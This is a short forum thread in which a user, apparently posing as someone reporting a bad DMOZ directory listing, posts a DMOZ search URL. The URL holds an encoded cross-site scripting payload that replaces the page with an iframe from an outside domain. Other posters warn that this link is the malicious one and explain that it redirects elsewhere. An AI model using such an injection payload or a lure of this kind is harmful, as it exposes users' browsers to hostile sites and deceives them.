    Hello,

    Using Firefox, I discovered a bad DMOZ listed link listed: hxxp://w w w.dmoz.org/search?q=%252Fredirect%252Feditor%252FShopping%252FPublications%252FBooks%252FUsed_and_Rare%252FFiction%252FScience_Fiction%25252C_Fantasy_and_Horror%252FBooks%252FUsed_and_Rare%252FFiction%252F+%3Cscript%3Edocument.documentElement.innerHTML%3D%27%3Ciframe+src%3D%22http%3A%2F%2Fwww.herkiss.com%2Fdmoz.php%22+frameborder%3D%220%22+width%3D%22100%25%22+height%3D%22100%25%22%3E%3C%2Fiframe%3E%27%3B%3C%2Fscript%3E&cat=all&type=&all=no&start=0

    I can't edit the listing out myself, but the site listed on the edit category is Larry's scifipy.com. It's showing weird warnings and stuff.

    Thanks

    Don't click on peppy's link. It's that that contains the malware.

    As far as I know, my link goes directly to the DMOZ category that needs to be edited, not directly to the malware site.

    Edit: The Malware link is still listed at DMOZ, so don't actually click on the scifipy.com link there.

    DonĀ“t mind Jim, he responds according to the DMOZ main principal: It is always your fault. If you discover corruption in DMOZ, you will be thrown out because you must be corrupt to discover corruption. :rolleyes:

    <sigh> Just copy the link monayuki gave into a plain text editor and look at it! It appears to redirect to a script on a totally different domain.

    scifispy.com is merely a website with PHP errors which has now been delisted.
